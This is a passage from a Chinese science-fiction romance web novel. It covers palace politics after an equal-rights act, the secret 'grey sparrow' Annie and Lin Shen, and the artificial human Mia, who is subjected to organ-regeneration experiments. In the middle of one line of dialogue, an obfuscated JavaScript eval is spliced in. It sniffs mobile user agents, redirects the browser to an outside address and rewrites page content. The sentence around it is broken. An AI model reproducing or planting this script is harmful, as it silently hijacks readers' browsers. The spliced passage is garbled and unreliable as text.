虚拟屏中,以熊熊火光为背景,占领枢密院多数派的九位书记官开始记名投票。伴随着最后一位金色半长卷发、戴着面具的书记官投票落定,威廉当场拟好的“平权法案”被全票通过。 林沅悠远的目光注视着那位金发的书记官:“理想主义从来都是时代的弃子,命运如同草芥一般随风飘荡。可是纸醉金迷和贫穷落魄的人生终归都是要死去的。能换来的一点微小的差别,已经是力所能及的全部——在浩渺天地间,却只如同沙石洪流中的一粒微尘。” 她站起身,坚定的目光望着那位似乎不能明白她在叙述什么的老书记官:“你以为你参透的是人生的终极。你错了,你仍然还是不明白。” “最高级的鱼子酱和粗茶淡饭到了肚子里,也不过是消化为成分相近的混合物;最顶级的皮包和随手拎的帆布包,空间也差不多大。食物是为了果腹,包包是为了盛装物品。人能享受到的物质背后的人生,其实没什么本质差别,是欲望赋予了它们不同的附加价值。” 她看着屏幕中欢呼的人群,视线又转回面前这些颓唐的当权者:“人类,就是这样一种,脆弱到会轻易被这些虚无之物击中的种族啊。” 林沅亲手抚摸着面前华丽繁复的窗帘,突然向皇帝发问:“陛下,你觉得,烧掉这个华美的宫殿,需要多么大的火焰?” 皇帝不解的目光看着她年轻倩丽的身影。粉色玫瑰在阳光下缓缓绽放。 林沅的视线没有落定,仿佛看到了剧本中、梦境里,厮杀着起义的平民和军部:“一点火星就足够了。只要这世上还有最后的火种,就足够它们顺着这些羊绒地毯、绸缎窗帘,熊熊燃烧,烧尽一切。” “你们终究会随着时代的风腐化而去。” “而我……我们。将在这无边星穹里,青史留名。” 视线尽头,威廉在人群的欢呼声中做最后的陈词:“……倘若因为储备器官库的销毁,在我发生任何意外时,造成帝国的继位空缺。” 他冰蓝色的眼瞳隔着虚拟屏,与沉默的林沅遥遥相望。 “储君之位,由我的未婚妻,赫斯塔的公主殿下,林沅女士……” “继承。” 33.灰白雀 “你以为他是真心实意要你继位……”皇帝收回注视在虚拟屏上的浑浊目光,嘶哑着嘲笑林沅。 “你只是他推出来的替死鬼、替罪羊。” “你以为文明发展到如今,帝国为什么靠着帝制,统领如此庞大的疆域,无数颗类地行星。”他怨毒的目光死死盯着林沅。 “正因为森严的等级制度、血腥的盘剥压迫……一切一切,才有帝国存在的土壤。” “你要理想主义、公平正义,首先被革掉的……就是你们自己的命!”他嘶哑地狞笑着,上气不接下气地拼命喘息。 “陛下……你还是不明白我的意思。”林沅垂下目光,仿佛丝毫不为所动,“你在乎的东西,对我来说一文不值。” 这个世界对她而言都只是一本书,何况是书里的皇位。她在乎的只有自己,和家人朋友的性命。 ……如果可以,还有更多萍水相逢,却无比在意的,无辜人的性命。 她在一颗古老的星球过完了完整的童年。那时候的人类没有这么发达的科技,却拥有比现在更加人性的文明。 为什么时间在前进,历史却在倒退? 她觉得自己的心里快要装不下这么多东西。瘦弱的身躯仿佛从不惧怕一切刀光剑影,却只有自己心底真正明白,这是怎样一颗虚弱到不堪一击的心。 威廉的军队从枢密院顺利回到了宸宫,接管了一切,也变相地软禁了帝王和他近来十分亲近的几位书记官。 林沅在他的寝宫里踱步。威廉在这里也放了一张他母亲的画像——银色长发、碧蓝双瞳的冷漠美人。极致的美貌和极致的冰冷结合,是与威廉如出一辙的夺人心魄。 她坐在阳光照射的彩窗底下,像锁在冰冷王座上的囚徒。 身后有规律的脚步声一点点接近,仿佛敲响宿命的警钟。 “……殿下。”林沅放下画像,回头望着仿佛从油彩中生动复现的年轻军人,恍惚了一瞬。 威廉向着林沅伸出手,想要拥抱这个一次又一次给了他巨大惊喜的未婚妻。 林沅却微微侧身,躲开了他的双手。 威廉顿了一下,缓缓放下双臂:“阿沅……” 他冰冷坚硬的面庞上带着难以掩藏的疑惑与无辜,与方才利剑一般杀伐果断的王储判若两人:“怎么了?” “殿下食言了。”林沅不为所动。 威廉耐心地询问:“阿沅生气了吗?” 她白皙精致的面庞冷漠地侧向一边,再次躲开他想要抚摸自己脸颊的右手,仿佛那只纯黑的军装手套是什么亵渎天使的恶魔。 “您答应过我,永远不会脏了自己的手。” 她撤出一个安全的距离,沉沉盯着威廉那双看似与自己温柔相对的眼睛:“您在没有十足把握的情况下,亲自斩断枢密院的血腥利益链。于公,天理昭昭;于私,威望大增。” “可也埋下了无数危机的种子。殿下是觉得自己已经根深蒂固到不可撼动,足以与枢密院和他们背后的势力背水一战?还是觉得星际帝制已经不能适应时代,要做革命推翻帝制的第一人?” 她激动到微微红了眼眶:“您就这样着急,想做未来第一个被推上星际审判法庭的皇帝吗?” 她心里埋藏着巨大的、不知来源的恐慌。也许来自于被所有人欺骗和隐瞒的愤怒,也许来自于对失去威廉的可能性、失去对帝国动向掌控的惶恐。 她微微躬身,白皙纤细的双手捂住自己小巧的脸庞,在指尖的缝隙中泄露一点濒临崩溃的叹息:“我身边的每一个人,全都胸有成竹,全都别有用心。只有我自己,被你们每一个人的计划推着往前走,做一个被蒙在鼓里的蠢货。” 威廉强有力的双手终于试探着抓住了她的臂膀,把不断颤抖着默默流泪的姑娘拉进自己怀里:“你已经做得很好了……阿沅。” 林沅不明白。 她觉得一切看起来都很荒诞。她付以信任的朋友身手矫健到能够单挑基因强化的人造人,她无辜正义的同学能够在全场屏蔽中录像这场血腥的拍卖会,为皇储的计划恰到好处的铺路。她温柔无害的家庭教师是皇储安插在枢密院的一把刀。 而她拥有的那一点可怜的剧本,只告诉了她最后一点。 “我知道你看到摄像的角度……会明白过来这是一场精心的布局……但我没想把你牵扯其中。”威廉担忧地看着她。 “我向你保证……感情是真的。如果在这场争斗中有任何意外……我已经为你铺好了前路。” “你总是这样……”林沅抹去自己软弱的眼泪,“你要我相信你什么呢?谢谢……但是,我们别讨论这些没有意义的事了,殿下。” “你有很多对于帝王来说非常宝贵的品质。坚定、自信、果断、野心。它们很好。但不必伪装成‘爱’了。” 她暂时不想再跟威廉说话。忙碌的通讯叫走了忧心忡忡、一步三回头的皇储。 林沅再次一个人坐在偌大的寝宫。 冷色调的房间和威廉本人一样高大而冰冷。纯白色的石刻遍布四周,“殉道天使”的三处雕像环绕着中间的大床,仿佛迫不及待地迎接下一位殉道者,也像是为注定的悲剧而默默垂泪。 她孤独地蜷缩在座椅上。 从小时候起,林沅就学会了在一切艰难困苦中抓住求生的机会。在地球乡下的那个孤儿院,她永远受所有人的喜欢。 因为她漂亮、温柔、善解人意。永远在最恰当的时刻表现出最恰当的情绪。而当大孩子们欺负小朋友时,她又会忍不住地爆发,像一头护崽的母狮子一样保护那些脆弱的小孩。 只有她自己知道,她永远在下意识地、习惯性地扮演。 剖开那些或坚硬或柔软的虚假外壳。她只是一个孤独的,紧张的,不知所措的小女孩。 爸妈和林深的通讯接二连三地响起。她有些疲于应对,只是不断地重复着,自己没事,自己很好。不知道是想让对方放心,还是想让自己收到心理的暗示。 林深感觉到她情绪不好,在挂断通讯前,欲言又止:“姐姐……你要提防周围的所有人……你们的对手很难对付,恐怕不会善罢甘休。” 林沅示意他解释清楚。 “你跟我提到的那个袭击者,既然他和他妹妹都是枢密院某位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859409|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书记官直接资助下的产物……那么,袭击实验室的动机,只能是你和皇储。” “如果没有现在这一出闹剧,他们最开始的计划,恐怕就是利用那个少年泄露你们实验室的机密,从而以你身份的不正当性,弹劾皇储对你的过度信任。” 林沅疲惫地揉了揉眉心。对他表示了感谢。 “姐姐,你说……”林深意有所指,“人真的能够轻而易举地扮演自己从未见过的东西吗?” 林沅心里犹如炸雷轰响,立刻警惕:“你什么意思?” “没什么意思……姐姐。”林深只是柔声安慰她,“再见。” 然后不等林沅反应过来,就迅速挂掉了通讯。 她怒不可遏地在寝宫里来回踱步,突然有了一种荒谬的猜想。 林沅让守在门口的军官给威廉传话,说自己回学院去,在军官大概类似于“为什么未婚妻不能给未婚夫直接发通讯”这样的疑惑中大步流星地离去,却并没有去康伦,而是通过公共交通,直接到了隔壁的茨威尔。 安妮还没有回家,泡在茨威尔法学院研究生的专用自习室,和同学围在一起开心地讨论着刚颁布的平权法案。 直到脸色并不太好看的林沅出现在门口,她才意识到自己好像还有解释不了的谜团,灰溜溜跑到林沅身边:“……阿沅。” 林沅礼貌地跟其他人打了招呼,轻轻牵着安妮的手,不容拒绝地将她带走。 两人漫步在茨威尔阳光明媚、鲜花盛开的校园中。本应该闲适散漫,安妮却活像一只缩着脑袋的鹌鹑。 时不时有各种代步飞行器和智能机器人在他们周围飘过,安妮小心帮她警戒着周围,林沅却只是头也不回地往前走。 “你什么时候认识的林深……不要说是他帮我还披风的时候。” 安妮不想继续惹怒她,乖乖回答道:“三年前,联盟科学院。” 三年前的时候,十五岁的林深刚刚升入联盟科学研究院本科部,认识了联盟科学院“灰白雀计划”中,经过无数训练和筛选,留下的最后一只“灰雀”。 从那以后,安妮便被派往赫斯塔公国最珍贵的公主身边,帮她成为那只飞向帝国心脏的“白雀”。 她所有的升学计划和训练目标,都是为了“白雀”而存在。 在联盟的时候,她不太需要为“白雀”做太多事,只是不经意地游离在林沅周围,却从未引起原主的注意。 直到去年,如今的林沅“觉醒”。命运的齿轮开始旋转,“灰雀”与“白雀”的人生共同展翅向前。 “……我还真是珍贵啊。”林沅自嘲地笑了。父母兄弟,朋友知己,未婚丈夫。她还拥有任何没被设计过的人生吗? 她盯着看起来天真而无辜的安妮:“难道不会不甘心吗?” 安妮好像不能明白。 “作为‘灰雀’,为‘白雀’的存在而存在。” 安妮开朗地笑了。她拥抱身心冰冷的林沅,似乎想给她一点来自于朋友的温暖。淡淡的雀斑随着起伏的嘴角跳动,浅栗色的眼睛温柔如水:“你永远是我最好的朋友,从我诞生的那一刻起。” 34.枯叶蝶 三年前的某一天,在帝国B43星的年轻研究员被分配到属于自己的“实验品”时,林深也正站在银河联盟科学研究院的大门外,与一脸冷漠的安妮·贝克擦肩而过。 联盟科学院有一个奇怪的、默认的传统:整个研究院所处的模拟环境,始终是秋季时的万物萧索。 这里从天空到建筑,一切都是灰白惨淡的。霜冷的秋风始终不厌其烦地吹落每一片人造树叶,卷着他们腐朽的尸体,在空气中翻转腾挪,四散于永远不会再相聚的远方。 尽管卫生机器人们永远尽心尽力地打扫着整个科学院的环境,这样的落叶难免惹人厌烦。 在擦肩而过的那一刻,林深犹豫再三,还是叫住了那位瞳孔颜色如同腐朽落叶的女孩。 “你的……头发。” 安妮·贝克闻言,停下脚步,转身看着面前的少年。他不过十四五岁的光景,却出现在与年龄完全不相称的本科部。惨白的日光下,无框眼镜遮不住墨色杏眼的熠熠光彩,反而在稚气未脱的脸庞上,显得更加深邃、智慧。 他耐心地对着安妮解释:“你的头发上……落了一片树叶。” 安妮有着美到惊人的五官,却伸出一双和科学院环境一样灰白瘦弱到嶙峋的手掌,青色的血管在手背上根根突起。她张着没什么温度的浅栗色眼睛,摸索了半天,却并没有摸到什么枯叶。 林深怕她误会自己骗人,只好小心翼翼越过她的侧脸,伸手拈住沾在后脑的落叶,如同抓住一只不会飞翔的蝴蝶。 靠近的时候,仿佛能闻到独属于实验室的一种消毒水的味道,混杂在秋天落叶的腐朽气息中,迎风而来。 那时候林深只以为她也是科学院的研究员,或者学生。却没想到这就是整个研究院奉若珍宝的,大名鼎鼎的“灰雀”。 也是他未来计划中最重要的一环。 只是此时此刻,这个苍白瘦弱的女孩子也不过是万千“灰雀”候选人之一。除了意义不明的代号以外,不知晓、也不理解任何掩盖在代号之下的真实意义。 但好在科学院不大。他们在这里,可以有很多很多次的擦肩而过。 交换了姓名,联系方式,实验室门牌,家庭住址,喜欢的食物,新年的礼物。 也在联盟科学院唯一一次为实验而调节的大雪纷飞中,交换过一个懵懂的,冰冷的,湿漉漉的,落在脸颊的轻吻。 直到联盟的科技水准即将再也无法维系维生系统中躺了多年的林沅的生命,直到那位金色卷发的帝国特使,在陪同皇储低调到访过联盟的半年之后,再次带着皇储的密令和维生的设备秘密前来。 安妮·贝克最后一次见到最初的林深时,她正待在联盟制造的巨大维生系统中,泡着特制的维生液体。 隔壁放着林沅的维生舱,比安妮这个要小很多。 由于无数明里暗里的攻击,这里的安保等级被提到最高。但安妮还是不可避免地在短短半年之内,受过了无数次致命伤。 但她并不觉得难过或者痛苦,在这对姐弟之外,她仿佛天生缺乏必要的情感波动。被母亲要求成为“灰雀”的时候没有,被“灰雀”的选拔实验弄得遍体鳞伤时没有,被暗杀林沅的各种手段伤害时也没有。 她只是很好奇。帝国未来皇后究竟是怎样的一个位置,值得别人无数次试图毁灭躺在她旁边的这个,孤独、纤细、苍白的女孩。那些暗杀者又是如何得知,这个除了惊人的美貌,只有年复一年无声无息长眠的姑娘,就是皇储的心上人。 而在无数光年之外的星海迁移实验进行到最关键处时,林深也最后一次来到这个埋葬了他整个人生的实验室。 他最爱的两个女孩,人这一生中最无法摆脱的两种爱,全都蜷缩在这两个风格迥异的维生舱里。从四肢修长、灵动活泼的少女,蜷缩至瘦弱苍白,仿佛要倒退回母体中沉睡的婴孩。 安妮尚能游过来,隔着玻璃与林深贴着手掌。她穿着特制的维生服,小巧的脸颊被呼吸罩遮住大半,茂密的长发散在液体中轻柔浮动,如同亚麻色的海藻。 仿佛有一种源自于灵魂的预感,她无师自通地读懂了林深的表情,以至于那双孤寂又懵懂的眼睛,第一次蓄上了悲伤。 他们静静地隔着玻璃,贴着对方的手掌。慢慢地,慢慢地,越靠越近。 安妮将自己不被呼吸罩阻隔的额头,贴在冰冷的玻璃上。与林深越发熟悉之后,每一次望向他时,她浅栗色的眼睛不再是一片枯萎的落叶,而是振翅的蝶翼。 而此时此刻,蝴蝶垂下了翅膀,不敢直视终将如期而至的别离。 在她垂下的视线没有望见的地方,林深正继续慢慢地靠近,一如那个她永生无法忘却的、突如其来的雪夜。在和联盟路灯一样微弱幽暗的实验室照明灯下,隔着维生舱壁,林深凑近、再凑近。 柔软的唇瓣,触碰坚硬的玻璃,如同亲吻光洁的额头。 安妮却只是低垂着目光。她想起林深在这半年间无数次提到过的故事:在每一个可以窥探的时间线背后,有一个注定沉睡的美人,和一个注定坍缩的节点。 人力不能理解这二者的关联,但是大数据的推演发现,每次让这位美人更接近她的初始数据,就会让坍缩的节点来得更迟一些,仿佛一个无限接近通关的极限函数。 于是有着私心的小偷利用了联盟的实验平台,将无数科学家改变世界的心血,与自己的私心,完美地结合在一起。 星海迁移实验,林深藏在无数光年之外的秘密。安妮真的很想见一见。 但此时此刻,在越来越紧迫的时间下,他们只能无声无息地永诀。 事情不知为什么就到了这种地步。而所有人早就身处其中,无法回头。 又是半年过去。安妮觉得失去林深的时间,毫无理由的变得无比漫长。 再一次与林深重逢,或者说初相见时,安妮已经是一个看起来无比正常、可以游刃有余调动自己情绪的海伦学院学生。而林沅也刚刚在罗勒斯号上对威廉·霍恩海姆仿佛命中注定般一见钟情,轰动寰宇地高调示爱。 看见眼前瘦高的男孩,安妮努力练习变得灵动的眼睛,再一次退化成那片枯朽的落叶。 她始终记得自己沙哑着开口的第一句问话:“你不是他……他死了吗?” 也许是源自于对计划核心的必要坦诚,林深立刻解释了全部:“也许死了,也许没有。但他已经不在这个时间线……他的DNA也绝对支撑不了反向迁移,否则我不会被他拼命置换到这里。” “置换?” “简单来说……我是另一个时间线的林深。” 似乎没有任何变化,或者说,除了年长一岁以外本身也不会有任何变化的林深微微垂下了头:“我很抱歉。” “抱歉什么?” “弄丢了你的爱人。” 安妮平静地看了他一眼,笑着摇摇头:“他不是我的爱人。” 但浅栗色的眼睛却第一次蓄满了泪水。 她摸了摸脸颊:“真好……” “什么?” “我以为我已经不能算人类了……原来我还会真心实意地为某个人而哭泣啊。” 她假装不太在意地抹了抹泪水:“那么,在你的世界,我们认识了吗?” 林深顿了顿,摇了摇头:“距离越远的时间线,变数就越多。” 安妮颔首,顺从地接受了他的说法。只是也有一些疑惑:“你们算是成功了吗?” “毕竟……”她欲言又止地看了看四周,几乎每个有人的地方都在热烈地讨论新鲜出炉的重磅八卦。秘密躺了多年醒来的林沅,出现在公众视野的第一件事就是表白那位帝国的皇储。 怎么不算天定姻缘呢。 林深却有些放松地笑了:“即使是物归原主,融合也仍然需要时间……给我的好姐姐一点等待的宽容吧。” 安妮问他需要多久。 “也许睡一觉醒来,也许一年半载,也许一辈子也融合不完。这就看命了。”林深不甚在意地说道。 “你和他……很不一样。”安妮的目光盯着自己的鞋尖。 “为了不让人起疑心,麻烦帮我变得与他更相像吧。” 后来的故事,就到了下一年舞会。安妮在人群里远远望见举止大方得体的林沅,仿佛听见了命运钟声的临近。 提线的木偶,也曾在某一瞬间,懵懂地憎恨过宿命。 但她对这对姐弟始终抱有着难以言说的感情。不能简单地归之为友爱或者情爱,而是于蚕茧里长眠化蝶时,聆听着另一只蚕的心跳;或者是永无止境的颂赞中,对注定别离的结局倾注的心血。 于是她握着最爱的花,像蝴蝶一样轻盈地落在林沅的生命中。 倘若长路漫漫,那就陪你走接下来的前路。为自己的愿望,也为回不来的人。 当她第一次握住林沅的手,笑着带她奔赴荆棘与鲜花并生的未来时,在遥远的帝国,毫不起眼的B43星上,年轻的研究员正颓唐地望着他已经相处了两年的实验对象。 “你为什么就是不肯说话呢……米娅?” 虽然同为人造人,但研究员有着被基因强化大幅提高的智力和思维能力。他和所有同期的人造人一起,格外幸运地成为B43星中比较特殊的一群存在。 虽然这种特殊也只是享受到一些正常人本应该拥有的权利。自由出入,自我支配,甚至自由恋爱。 但对于B43星这个巨大的人造人工厂来说,他们简直拥有着中了头彩一般的人生。 很多研究员以此来催眠自己是正常的、普通的人类。并与同为基因强化的各种上流社会的人造人们相遇相知,甚至结婚生子。 下一代,就变成了洗清一切“烙印”的,真正的人。 而在所有年轻研究员们忙于把自己的闲暇时间变成婚恋试验的舞台时,有一个特殊的研究员,从不参与他们的活动。 他年轻,俊秀,是很多女性研究员的搭讪对象,甚至也非常受男性研究员的欢迎。 可是他不喜欢与这些人交朋友。他觉得自己沉闷且无趣,过不来那些光鲜亮丽、游刃有余的人生。 他始终独来独往,直到B43星高层通过综合研判,决定让他成为那位最珍贵的基因强化造物,新的、唯一的长期研究者。 之前负责这位姑娘的,是一个完整的科研团队。不是人造人,而是一些秘密从帝国首都星来到此处,心比天高的科学家们。 在以帝国皇储为代表的新兴军方势力大力打击人造人产业链,以期掀翻背后充满血腥的旧贵族和枢密院时,这些科研人员担心承担连带责任,带走了所有的实验数据,只给B43星留下了这个无比珍贵,又一文不值的姑娘。 无比珍贵是因为一旦器官再生成为现实,那么每一个帝国贵族都必将拥有一个独属于自己的器官奴隶。 从生到死,量身定制。不同于普通器官买卖的等待时长和不确定性,在他们漫长的、无忧无虑的人生中,只要有任何意外的灾痛,就可以随时随地、重复多次获取到完全匹配的器官,也不需要背上任何的道德负累和额外的费用。 一个可以一直切割、再生的人造人,将支撑他们永远可以随时获取年轻的器官、年轻的皮囊。 某些复杂的基因强化具有极其危险的不确定性,每一个人造人背后是无数个失败的产物。人们暂时很难将这种基因强化用于自身,却可以立刻享受到这一切给自己带来的便利。 人类的寿命终有尽头,科技的力量却能无限接近永生。 但他们再也没能复现第二个器官再生的人造人。仿佛是来自于造物者的一声嘲讽,这个美丽的女孩像是偶然被泄露,又紧急收回的天光。 乍然一现,无影无踪。 于是在越来越大的舆论和政治压力下,这群满怀野心的科学家们灰溜溜回到了首都星,只把这个特殊的、美丽的 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如果没什么意外,在被拍卖出去之前,这里就是米娅余生的囚笼。 研究员日复一日地来到这里,在B43星高层的监控下对米娅重复一些基础的数据收集和行为研究。 渐渐地,他也终于明白B43星的光鲜背后,在米娅绝美却无神的面庞下,被隐藏在泥土最深处的悲哀,到底是什么。 他忍着内心压抑却逐渐高涨的痛苦,不得不在高层发出的一些实验指令中,亲手打开他美丽的苹果,切开那些柔软的果肉,等待着那个被无数双贪婪的眼睛注视、期待的果核,无限地消失、再生。 那些被收集到的实验数据,不再是一些简单的数字,而是他美丽的姑娘,杂糅着痛与血的骨肉。 但是米娅仿佛早已习惯。她的面无表情不知是基因中自带的痛苦免疫,还是从小到大对实验无限重复的麻木。 在每一次实验结束后,米娅苏醒时,年轻的研究员曾无数次崩溃地抱着她哭泣,求她怨恨自己,求她把痛苦发泄在自己身上。 但美丽的人偶只是无神地看着他,无爱亦无恨。 但她的研究员固执地认为米娅很痛。她需要一点爱,就像一朵小花,需要照一点阳光,浇一点水。 于是从每一天阳光照耀,米娅醒来开始,到星星沉睡,米娅也在他的怀里沉眠,年轻的研究员总是固执地对毫无反应的米娅讲话。 他跟她讲述自己的梦想。也许有一天,不再有人造人的产业链,而他们这些被压迫着的凡胎和灵魂,将获得应有的人权。人们的苦难和悲伤,爱与依恋,都将被阳光照耀,被世界看见。 他对米娅描述外面的世界,描述无比精彩的人文和历史。他说,以前,在世界不是那么发达的时候,在很久远很久远的时间之外,在一个没有人造人的蓝色星球上,曾经每一个人都拥有被称为爱人和家庭的基本生存权利。他们会和自己爱的人在一起,创造一方属于自己的小小天地,日出而作,日落而息。 他给米娅讲述所有他能想到的童话故事。有时候也会绞尽脑汁地胡乱编造。他说在这个世界上有很多很多星球,有一个叫作玫瑰星的地方,住着一朵漂亮的小玫瑰。年轻的王子每天给它浇水,从天上收集阳光,再回到他的玫瑰身边,把晾晒好的阳光,一点一点挂在房间里。 因为玫瑰需要太阳,但是又害怕阳光太过灼热。所以王子就造出了一个阳光房,给他的玫瑰做养料。 有时候他也会疑惑而痛苦地自言自语。他问米娅,为什么人生这么不公平。这个星球、甚至整个帝国的土地,埋藏着无数人造人的尸骨和血肉。他们撑起每一栋大厦,每一幢别墅;他们是每一次觥筹交错的杯盏,是琉璃碧瓦反射明媚灯火时的一瞬光影。 可他们终究什么也不是。他们只是反衬人上人光鲜亮丽的镜子。让人明白自己有多幸福,多应该满足。 他问米娅,为什么帝国的皇帝也是人造人,却要默许人造人的痛苦,甚至反过来,加害这些人造人。 而米娅只是日复一日睁着她无神却美丽的眼睛,看着眼前的研究员。或许也有转瞬即逝的波动,只是快到让人无法不疑心是幻觉。 直到再一次的实验指令发布。年轻的研究员孤独而愤怒。他不明白自己存在的意义,难道就是一次又一次杀害自己喜欢的人,再让她得到所谓的拯救? 他砸碎摄像头,在机器人赶来之前,愤怒而无力地将锋利的实验工具扎进自己小臂。他想,给他们一点玩笑,就说这是今天的实验品好了。 然而他却看见了仿佛幻觉的一幕。 从来失去灵魂一般的米娅,颤抖着瞪大了双眼,像是突然生出血肉的人偶。 她跌跌撞撞地跑过来,扑进年轻的研究员怀里,陌生的鲜血沾满了衣裙。 两年来她终于第一次开口,声音如研究员想象过无数次的那般动听:“……不要。” “会痛。”她颤抖着抱着年轻的研究员,几不可闻地呢喃。 研究员以为自己早已经千疮百孔的心脏,突然被铺天盖地的涩意爬满。 原来,他的米娅,真的一直都是痛的啊。 但是米娅从来不曾像现在这样鲜活。其实她也不明白,为什么第一次,身体并没有疼痛,心脏却传来一种密密麻麻的酸胀,像被昆虫啃咬,又像被烈火灼烧。 人总是先感受到源自于心底的痛,然后才学会爱。 “米娅……”他颤抖着回抱住他的玫瑰。一瞬之间,无数的力量回到了脱力的灵魂。 在这个小小的,却让人无限痛苦和悲伤的实验室。他们相依为命。 所以他不可以倒下。他要无比坚强,教会他的玫瑰,一个正常人应该拥有的一切。 语言,常识,科学,还有爱。 他们不会一辈子困在这里。他们终将逃离出去。在更广阔的天地奔跑,跑向原本就应该属于他们的,自由的人生。 35.信天翁 时间转回当下,帝国首都星。林沅和安妮从茨威尔一路无声地漫步到校外的街边。 “你是‘灰雀’这件事,我父母和林深全都知道,对吧?” 望着面前用力点头,却支支吾吾的安妮·贝克,林沅觉得自己有一种深深的无力感。 不是失望或者任何一种情绪上的波动。平静无波的内心向外不断延伸,四肢却如同伸进了浸泡着的海绵,被挤压到胀痛。 她知道安妮一定没有跟自己说全部的实话。 代号“灰雀”,受命于联盟,以林沅的安危为行动的基本原则。 这样简单的信息,完全不足以打消她内心的疑虑。 这样一个身负特殊使命的人,需要经过多少的训练、选拔,多少痛苦和挣扎,多少内心的自我怀疑和自我催眠,她才能看到如今的安妮·贝克。 掩盖在这个略显瘦弱和纤细的身体下,埋藏着巨大的能量,背负着联盟无数人十几年来全部心血和不明计划的安妮·贝克。 林沅怎么可能天真到忽略这简简单单一句话背后的血与痛。 距离她们一起来到这个陌生的帝国,已经过去了大概半年。从深冬初春的万物萧索,到如今的宁静夏日,帝国并没有如同林沅预期的那样,多出一点点属于盛夏的繁茂与活力。 灰白黑交织的城市,仍然是与林沅初见时那般,肃穆、冰冷,如同俯瞰蝼蚁的巨人。 她原以为自己侥幸拥有了全天下最好的幸福和爱。但其实这世上从来就不会有毫无代价的盛宴。 比起难过,此时此刻,林沅心底更多的,竟然是恐惧。 不是恐惧自己面目全非的“亲人”,而是恐惧自己身负的希冀。作为联盟和家人倾注了大量心血的“白雀”,她何德何能,走到今天这个位置。 这些幸福与爱,全都不是她的;这背后的期待与利用,她却不得不支撑起来。 内心惶惶不安地接受一切现状,然后试图拯救所有人。从小到大无论身处何方,从地球上那个小小的孤儿院到如今的帝国,她一直没有变过。 “我说真的,安妮。我真的很讨厌你们每个人所谓的‘对我好’。可是我也没有办法,我不能一边享受着你们带给我的一切,一边堂而皇之地要与你们切割。” 林沅看着面前沉默的安妮,语气中不由自主地带上一些绝望:“那样我也会恶心我自己的。我做不到。” “你怨恨我吧……”安妮目光低垂,嗫嚅着。她对林沅,似乎总有一种下属面对上司的紧张感。 怨恨吗?林沅也觉得自己非常奇怪。她竟然毫无怨恨,反而只余下恐惧,或者说惶恐。 她总有一种不配得感。此时此刻这种对幸福的不配得感与被利用的恍然大悟尽数抵消,只剩下担心自己完不成任务的焦虑。 “我不会恨谁的……安妮。”她深深地望着面前的姑娘,只觉得这个人与自己同样可悲。 安妮是为“白雀”而生,为“白雀”而死的“灰雀”。所有人都希望林沅知道这一点,然后长长久久地利用她。 在那种被背叛的愤怒如潮水般退去时,林沅竟然觉得在这个磅礴到没有边际的帝国中,她和安妮,恰似两只同病相怜的小鸟。 “为什么要告诉我真相呢?”她盯着面前不肯看她的安妮·贝克,有些疑惑地问道。 “因为阿深说……”安妮终于抬头。 她叫他“阿深”。林沅突兀地在心底想。 “……按照计划,到了‘白雀’展翅飞翔的时候了。”安妮注视着林沅,目光平静又温柔,却带着一点几不可见的哀伤。 “其实我也不太明白,但阿深从不会跟我解释这些事,他只会告诉我怎么做。”此刻的安妮仿佛是知道自己做错了,所以看起来格外乖巧,“但是平权法案已经推行,殿下大权在握,连枢密院都尽数倒戈。继位的风险已然除尽,我不明白为什么阿深反而说,现在是最关键的时刻。” 林沅只是微带嘲讽地笑了:“枢密院和皇权是两个互相寄生的怪胎……那些书记官一听到软禁和问罪就吓得战战兢兢。什么支持殿下,不过是在年初那次权力重组后,选边下注罢了。” 安妮看起来有点惊讶:“你是说,那些推动平权法案的书记官,也不过是为形势所迫,或者提前被策反?” 林沅反问:“难道他们就不曾参与B43星的产业链?有谁能相信呢?” 一阵难言的沉默。 林沅叹了口气:“所有的事情,我会去和林深核实。你不必在意,继续做你该做的。只是有一点,不许再和他提我的事。” 安妮非常愧疚地拼命点头。 如果不是林深说的那句“扮演”的话,林沅恐怕永远不会怀疑林深和安妮有着私下单独的联系。她那一句偶然说与安妮而听的牢骚,竟然立刻就被林深知晓。 “反正什么前路也看不清楚。那就闭着眼睛往前走吧。该杀的杀,该救的救,我还能怎么样呢?” “但是有一个问题……我想要问你。”她微微挺直了脊背,安妮也忍不住紧张起来,一瞬不瞬地盯着林沅温柔又严肃的眼睛。 “你觉得我们算朋友吗?” “当然。”安妮有些急切地微微倾身。 “那就好。”林沅点头,“我希望你能记住……你没什么对不起我的,你对不起的只有你自己。” 安妮忐忑地看着她,目光疑惑。 “你不是任何一个人的傀儡,联盟的,林深的,或者我的。” 林沅认真望着安妮的眼睛,夹杂着一些难以言说的失望和期待。墨色与浅栗色仿佛在空气中交织缠绕,跃动起舞。 “你只是你自己,你是安妮·贝克。” 帝国夏日的风卷着热气,烘走一些难言的冰冷沉重。 两人面对面站着,大同小异的学院制服裙摆随风微微摆动。 林沅想,自己只是一个偷走别人幸福的小偷。偷来的人生,本就应该珍惜。 她决定封闭自己的耳朵和眼睛。不看,不听,不猜。就可以不用思考那么多。 “去医院看看米娅吧,我很担心她。”林沅打破了从前在两人之间绝不会见到的沉默。 但真的到了米娅所在的医院,林沅只感觉到从心底涌上来的、更深重的无力,和一些难以言说的后悔。 倒不是因为米娅。米娅很好,医生说她的情况堪称造物者的伟大奇迹。她仍然躺在那个小小的维生舱中,研究员被特许进入了这个见证无数生离死别的抢救室,陪在米娅身边。 他坐在维生舱旁,即使米娅什么也听不到,仍然坚持不懈、喋喋不休地讲述着什么。隔着抢救室的玻璃,林沅看不太清他的表情。但想来,大概是后怕和悲伤中,夹杂着一些失而复得的巨大惊喜吧。 林沅感到后悔,是因为三个同组的研究生同学,路易、丹尼尔和莉莉丝,全都在这里。看见她和安妮走进来,三人排成一排,一惊一乍地从医院走廊的长椅上弹起来。 莉莉丝娇蛮地噘着嘴,似乎不屑于看着林沅,只是微微侧头望天,品鉴医院好几年前粉刷过的天花板,眼角却时不时带着心虚的表情扫过来。 